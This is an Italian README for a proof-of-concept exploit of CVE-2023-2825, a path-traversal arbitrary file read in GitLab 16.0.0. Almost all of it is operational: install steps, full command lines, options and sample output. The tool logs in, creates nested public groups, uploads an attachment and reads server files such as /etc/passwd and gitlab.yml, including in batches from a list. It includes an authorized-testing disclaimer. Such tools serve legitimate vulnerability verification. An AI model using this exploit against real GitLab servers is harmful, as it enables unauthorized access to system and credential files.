
PoC per CVE-2023-2825: lettura arbitraria di file automatizzata su GitLab 16.0.0 tramite gruppi pubblici nidificati, traversal degli upload di progetto, percorsi di upload riutilizzabili e output CLI pulito.
Proof-of-concept per CVE-2023-2825, una vulnerabilità di lettura arbitraria dei file in GitLab CE/EE 16.0.0.
Lo script effettua l'accesso con un account GitLab valido, crea la struttura richiesta di gruppi pubblici nidificati, crea un progetto pubblico, carica un allegato e sfrutta il comportamento vulnerabile di path traversal dell'upload per leggere un file target dal server GitLab.
Supporta inoltre il riutilizzo di un percorso di upload esistente, quindi non devi creare nuovi gruppi e progetti per ogni lettura di file.
Python 3.8+
pip install -r requirements.txt
Pacchetti Python richiesti:
beautifulsoup4
requests
urllib3
I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Output di esempio:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
Dopo un'esecuzione riuscita, lo script stampa un percorso di upload riutilizzabile:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Usalo con --reuse-path per saltare login, creazione dei gruppi, creazione del progetto e upload:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Puoi anche passare un URL completo e omettere --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Crea un elenco di file:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Esegui:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path quando possibile per evitare di creare gruppi e progetti non necessari.Questo PoC è destinato a test di sicurezza autorizzati, ambienti di laboratorio e verifica di vulnerabilità. Non utilizzarlo contro sistemi senza autorizzazione esplicita.